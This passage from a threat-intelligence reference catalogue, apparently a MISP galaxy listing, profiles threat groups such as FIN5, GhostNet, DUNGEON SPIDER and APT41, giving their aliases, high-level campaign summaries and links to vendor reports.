https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt
https://unit42.paloaltonetworks.com/atoms/mangataurus/
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

FIN5

FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian.

The tag is: *misp-galaxy:threat-actor="FIN5"*

FIN5 is also known as:

- G0053

Table 6962. Table References

Links
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?
https://attack.mitre.org/groups/G0053/

FIN1

FireEye first identified this activity during a recent investigation at an organization in the financial industry. They identified the presence of a financially motivated threat group that they track as FIN1, whose activity at the organization dated back several years. The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as ‘Nemesis’ by the malware developer(s), and used this malware to access the victim environment and steal cardholder data. FIN1, which may be located in Russia or a Russian-speaking country based on language settings in many of their custom tools, is known for stealing data that is easily monetized from financial services organizations such as banks, credit unions, ATM operations, and financial transaction processing and financial business services companies.

The tag is: *misp-galaxy:threat-actor="FIN1"*

Table 6963. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

FIN10

FireEye has observed multiple targeted intrusions occurring in North America — predominately in Canada — dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations' networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10.

The tag is: *misp-galaxy:threat-actor="FIN10"*

FIN10 is also known as:

- G0051

Table 6964. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf
https://attack.mitre.org/groups/G0051/

GhostNet

Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information. Attacks on the Dalai Lama's Private Office The OHHDL started to suspect it was under surveillance while setting up meetings be-tween His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a courtesy telephone call, the diplomat's office was contacted by the Chinese government and warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was employed on a studentship funded by the OpenNet Initiative and the second author was a principal investigator for ONI.)

The tag is: *misp-galaxy:threat-actor="GhostNet"*

GhostNet is also known as:

- Snooping Dragon

Table 6965. Table References

Links
http://www.nartv.org/mirror/ghostnet.pdf
https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-746.pdf
https://en.wikipedia.org/wiki/GhostNet

GozNym

IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper's stealth and persistence; the Gozi ISFB parts add the banking Trojan's capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild.

The tag is: *misp-galaxy:threat-actor="GozNym"*

Table 6966. Table References

Links
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://threatpost.com/attackers-behind-goznym-trojan-set-sights-on-europe/117647/
https://threatpost.com/goznym-banking-trojan-targeting-german-banks/120075/
https://www.europol.europa.eu/newsroom/news/goznym-malware-cybercriminal-network-dismantled-in-international-operation

Group5

A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian IP space at times was observed targeting the Syrian opposition in an elaborately staged malware operation, Citizen Lab researchers reveal. The operation was first noticed in late 2015, when a member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow, which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware. The threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past

The tag is: *misp-galaxy:threat-actor="Group5"*

Group5 is also known as:

- G0043

Table 6967. Table References

Links
https://www.securityweek.com/iranian-actor-group5-targeting-syrian-opposition
https://attack.mitre.org/groups/G0043/

Honeybee

McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks. Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them. The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.

The tag is: *misp-galaxy:threat-actor="Honeybee"*

Honeybee is also known as:

- G0072

Table 6968. Table References

Links
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/
https://attack.mitre.org/groups/G0072/

Lucky Cat

A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a ‘shotgun’ like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous.ænThe attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims.

The tag is: *misp-galaxy:threat-actor="Lucky Cat"*

Lucky Cat is also known as:

- TA413
- White Dev 9

Table 6969. Table References

Links
https://vx-underground.org/papers/luckycat-hackers-12-en.pdf
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf
https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global
https://www.proofpoint.com/us/blog/threat-insight/chinese-apt-ta413-resumes-targeting-tibet-following-covid-19-themed-economic

RTM

There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals’ use of simple backdoors to gain a foothold in their targets’ networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt and Corkow. The group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections.

The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries.

The tag is: *misp-galaxy:threat-actor="RTM"*

RTM is also known as:

- G0048

Table 6970. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf
https://attack.mitre.org/groups/G0048/

Shadow Network

Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows' attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People's Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.

The tag is: *misp-galaxy:threat-actor="Shadow Network"*

Table 6971. Table References

Links
https://citizenlab.ca/wp-content/uploads/2017/05/shadows-in-the-cloud.pdf

Slingshot

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity. While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router. We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

The tag is: *misp-galaxy:threat-actor="Slingshot"*

Table 6972. Table References

Links
https://securelist.com/apt-slingshot/84312/

Taidoor

The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control. As part of their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background. We were only able to gather a limited amount of information regarding the Taidoor attackers’ activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots.

The tag is: *misp-galaxy:threat-actor="Taidoor"*

Taidoor is also known as:

- G0015

Table 6973. Table References

Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf

https://attack.mitre.org/groups/G0015/

TEMP.Veles

TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.

The tag is: *misp-galaxy:threat-actor="TEMP.Veles"*

TEMP.Veles is also known as:

- Xenotime
- G0088
- ATK91

Table 6974. Table References

Links
https://dragos.com/resource/trisis-analyzing-safety-system-targeting-malware/
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://attack.mitre.org/groups/G0088/
https://cyberthreat.thalesgroup.com/attackers/ATK91
https://www.dragos.com/threat/xenotime/

WindShift

In August of 2018, DarkMatter released a report entitled “In the Trails of WINDSHIFT APT”, which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency.

The tag is: *misp-galaxy:threat-actor="WindShift"*

WindShift is also known as:

- Windy Phoenix

Table 6975. Table References

Links
https://unit42.paloaltonetworks.com/shifting-in-the-wind-windshift-attacks-target-middle-eastern-governments/

https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf
https://unit42.paloaltonetworks.com/atoms/windyphoenix/

[Unnamed group]

Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the actor behind the leak is currently unknown, however based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment this will minimize the risk of potential attacks in the next few months and possibly even year. Note -most of the leaks are posted on Telegram channels that were created specifically for this purpose. Below are the three main Telegram groups on which the leaks were posted: Lab Dookhtegam pseudonym ("The people whose lips are stitched and sealed" –translation from Persian) –In this channel attack tools attributed to the group 'OilRig' were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. Green Leakers–In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group’s name and its symbol are identified with the "green movement", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) Black Box–Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups' activity.

The tag is: *misp-galaxy:threat-actor="[Unnamed group]"*

Table 6976. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2019/05/Iranian-Nation-State-APT-Leak-Analysis-and-Overview.pdf

DUNGEON SPIDER

DUNGEON SPIDER is a criminal group operating the ransomware most commonly known as Locky, which has been active since February 2016 and was last observed in late 2017. Locky is a ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine. DUNGEON SPIDER primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor.

The tag is: *misp-galaxy:threat-actor="DUNGEON SPIDER"*

Table 6977. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-october-dungeon-spider/

Fxmsp

Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing network environments via externally available remote desktop protocol (RDP) servers and exposed active directory. Most recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal.

The tag is: *misp-galaxy:threat-actor="Fxmsp"*

Table 6978. Table References

Links
https://www.advanced-intel.com/blog/top-tier-russian-hacking-collective-claims-breaches-of-three-major-anti-virus-companies

Gnosticplayers

The hacker said that he put up the data for sale mainly because these companies had failed to protect passwords with strong encryption algorithms like bcrypt. Most of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked. "I got upset because I feel no one is learning," the hacker told ZDNet in an online chat earlier today. "I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry." In a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money. But in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him. Gnosticplayers also revealed that not all the data he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private. "I came to an agreement with some companies, but the concerned startups won’t see their data for sale," he said. "I did it that’s why I can’t publish the rest of my databases or even name them."

The tag is: *misp-galaxy:threat-actor="Gnosticplayers"*

Table 6979. Table References

Links
https://www.zdnet.com/article/round-4-hacker-returns-and-puts-26mil-user-records-for-sale-on-the-dark-web/
https://www.theregister.co.uk/2019/02/11/620_million_hacked_accounts_dark_web/

https://www.zdnet.com/article/127-million-user-records-from-8-companies-put-up-for-sale-on-the-dark-web/
https://www.zdnet.com/article/hacker-puts-up-for-sale-third-round-of-hacked-databases-on-the-dark-web/
https://www.zdnet.com/article/a-hacker-has-dumped-nearly-one-billion-user-records-over-the-past-two-months/

Hacking Team

The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since. Since being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world. The capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device's webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments – an allegation it has consistently denied. When the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data – including the once-secret list of customers, internal communications, and spyware source code – leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future. Following the hack, the security community has been keeping a close eye on the company's efforts to get back on its feet. The first reports suggesting Hacking Team's resumed operations came six months later – a new sample of Hacking Team's Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team's shareholder structure, with Tablem Limited taking 20% of Hacking Team's shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia.

The tag is: *misp-galaxy:threat-actor="Hacking Team"*

Table 6980. Table References

Links
https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/
https://en.wikipedia.org/wiki/Hacking_Team
https://www.vice.com/en_us/article/gvye3m/spy-tech-company-hacking-team-gets-hacked

OurMine

OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services. (Trend Micro) In light of the recent report detailing its willingness to pay US$250,000 in exchange for the 1.5 terabytes' worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach. Known for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as “Game of Thrones,” “Girls,” and “Ballers.” This is not the first time that OurMine has claimed responsibility for hacking high- profile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek — the CEOs of Facebook, Twitter, Google and Spotify, respectively — have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised.

The tag is: *misp-galaxy:threat-actor="OurMine"*

Table 6981. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/hbo-twitter-and-facebook-accounts-hacked-by-ourmine
https://gizmodo.com/welp-vevo-just-got-hacked-1813390834
https://www.grahamcluley.com/despite-appearances-wikileaks-wasnt-hacked/
https://en.wikipedia.org/wiki/OurMine

Pacha Group

Antd is a miner found in the wild on September 18, 2018. Recently we discovered that the authors from Antd are actively delivering newer campaigns deploying a broad number of components, most of them completely undetected and operating within compromised third party Linux servers. Furthermore, we have observed that some of the techniques implemented by this group are unconventional, and there is an element of sophistication to them. We believe the authors behind this malware are from Chinese origin. We have labeled the undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as Pacha Group.

The tag is: *misp-galaxy:threat-actor="Pacha Group"*

Table 6982. Table References

Links
https://www.intezer.com/blog-technical-analysis-pacha-group/
https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/

Rocke

This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability. In late July, we became aware that the same actor was engaged in another similar campaign. Through our investigation into this new campaign, we were able to uncover more details about the actor.

The tag is: *misp-galaxy:threat-actor="Rocke"*

Rocke is also known as:

* Aged Libra

Table 6983. Table References

Links
https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html
https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/
https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/
https://unit42.paloaltonetworks.com/atoms/agedlibra/

[Vault 7/8]

An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018. Most of the published vulnerabilities have since been fixed by the respective vendors, by many have been used by other threat actors. This actor turned out to be a former CIA software engineer. (WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, it is the largest ever publication of confidential documents on the agency. The first full part of the series, "Year Zero", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virgina. It follows an introductory disclosure last month of CIA targeting French political parties and candidates in the lead up to the 2012 presidential election. Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive. "Year Zero" introduces the scope and direction of the CIA's global covert hacking program, its malware arsenal and dozens of "zero day" weaponized exploits against a wide range of U.S. and European company products, include Apple's iPhone, Google's Android and Microsoft's Windows and even Samsung TVs, which are turned into covert microphones.

The tag is: *misp-galaxy:threat-actor="[Vault 7/8]"*

Table 6984. Table References

Links
https://wikileaks.org/ciav7p1/
https://www.justice.gov/opa/pr/joshua-adam-schulte-charged-unauthorized-disclosure-classified-information-and-other-offenses

ZOMBIE SPIDER

On April 7, 2017, Pytor Levashov — who predominantly used the alias Severa or Peter Severa and whom Falcon Intelligence tracks as ZOMBIE SPIDER — was arrested in an international law enforcement operation led by the FBI. ZOMBIE SPIDER's specialty was large-scale spam distribution, a fundamental component of cybercrime operations. Levashov was the primary threat actor behind a botnet known as Kelihos and its predecessors, Waledac and Storm. In addition to Levashov's arrest, there was a technical operation conducted by Falcon Intelligence to seize control of the Kelihos botnet.

The tag is: *misp-galaxy:threat-actor="ZOMBIE SPIDER"*

Table 6985. Table References

Links
https://www.crowdstrike.com/blog/farewell-to-kelihos-and-zombie-spider/
https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/
https://www.justice.gov/opa/pr/justice-department-announces-actions-dismantle-kelihos-botnet-0
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf

ViceLeaker

In May 2018, we discovered a campaign targeting dozens of mobile Android devices belonging to Israeli citizens. Kaspersky spyware sensors caught the signal of an attack from the device of one of the victims; and a hash of the APK involved (Android application) was tagged in our sample feed for inspection. Once we looked into the file, we quickly found out that the inner-workings of the APK included a malicious payload, embedded in the original code of the application. This was an original spyware program, designed to exfiltrate almost all accessible information. During the course of our research, we noticed that we were not the only ones to have found the operation. Researchers from Bitdefender also released an analysis of one of the samples in a blogpost. Although something had already been published, we decided to do something different with the data we acquired. The following month, we released a private report on our Threat Intelligence Portal to alert our clients about this newly discovered operation and began writing YARA rules in order to catch more samples. We decided to call the operation “ViceLeaker”, because of strings and variables in its code.

The tag is: *misp-galaxy:threat-actor="ViceLeaker"*

Table 6986. Table References

Links
https://securelist.com/fanning-the-flames-viceleaker-operation/90877/

SWEED

Cisco Talos recently identified a large number of ongoing malware distribution campaigns linked to a threat actor we're calling "SWEED," including such notable malware as Formbook, Lokibot and

Agent Tesla. Based on our research, SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans. SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments. While these campaigns have featured a myriad of different types of malicious documents, the actor primarily tries to infect its victims with a packed version of Agent Tesla — an information stealer that's been around since at least 2014. The version of Agent Tesla that SWEED is using differs slightly from what we've seen in the past in the way that it is packed, as well as how it infects the system. In this post, we'll run down each campaign we're able to connect to SWEED, and talk about some of the actor's tactics, techniques and procedures (TTPs).

The tag is: *misp-galaxy:threat-actor="SWEED"*

Table 6987. Table References

Links
https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html

TA428

Proofpoint researchers have identified a targeted APT campaign that utilized malicious RTF documents to deliver custom malware to unsuspecting victims. We dubbed this campaign "Operation LagTime IT" based on entities that were targeted and the distinctive domains registered to C&C IP infrastructure. Beginning in early 2019, these threat actors targeted a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. We determined that the infection vector observed in this campaign was spear phishing, with emails originating from both free email accounts and compromised user accounts. Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally, this APT group utilizes Poison Ivy payloads that share overlapping command and control (C&C) infrastructure with the newly identified Cotx campaigns. Based on infrastructure overlaps, post-exploitation techniques, and historic TTPs utilized in this operation, Proofpoint analysts attribute this activity to the Chinese APT group tracked internally as TA428. Researchers believe that this activity has an operational and tactical resemblance to the Maudi Surveillance Operation which was previously reported in 2013.

The tag is: *misp-galaxy:threat-actor="TA428"*

TA428 is also known as:

- Colourful Panda
- BRONZE DUDLEY

Table 6988. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology
https://www.recordedfuture.com/china-linked-ta428-threat-group

https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop
https://blog.group-ib.com/task
https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op
https://www.youtube.com/watch?v=1WfPlgtfWnQ
https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf
https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf

LYCEUM

The tag is: *misp-galaxy:threat-actor="LYCEUM"*

LYCEUM is also known as:

- COBALT LYCEUM
- HEXANE
- Spirlin
- siamesekitten

Table 6989. Table References

Links
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign
https://www.secureworks.com/research/threat-profiles/cobalt-lyceum
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/
https://www.clearskysec.com/siamesekitten/
https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf

APT41

APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control.

The tag is: *misp-galaxy:threat-actor="APT41"*

APT41 is also known as:

- G0096
- TA415
- Blackfly

- Grayfly
- LEAD
- BARIUM
- WICKED SPIDER
- WICKED PANDA
- BRONZE ATLAS
- BRONZE EXPORT
- Red Kelpie
- G0044
- Earth Baku
- Amoeba

View relationships graph

APT41 has relationships with:

- uses: misp-galaxy:backdoor="Speculoos" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"

Table 6990. Table References

Links
https://securelist.com/winnti-faq-more-than-just-a-game/57585/
https://securelist.com/winnti-more-than-just-a-game/37029/
http://williamshowalter.com/a-universal-windows-bootkit/
https://www.microsoft.com/security/blog/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/
https://securelist.com/games-are-over/70991/
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a
https://www.dw.com/en/thyssenkrupp-victim-of-cyber-attack/a-36695341
https://www.bleepingcomputer.com/news/security/teamviewer-confirms-undisclosed-breach-from-2016/
https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/
https://www.dw.com/en/bayer-points-finger-at-wicked-panda-in-cyberattack/a-48196004
https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/
https://401trg.com/burning-umbrella/

https://attack.mitre.org/groups/G0044/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-july-wicked-spider/
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.secureworks.com/research/threat-profiles/bronze-export
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer
https://assets.documentcloud.org/documents/7210602/FLASH-AC-000133-TT-Published.pdf
https://www.cfr.org/cyber-operations/winnti-umbrella
https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html
https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/
https://www.mandiant.com/resources/report-apt41-double-dragon-a-dual-espionage-and-cyber-crime-operation
https://www.cfr.org/cyber-operations/apt-41
https://attack.mitre.org/groups/G0096
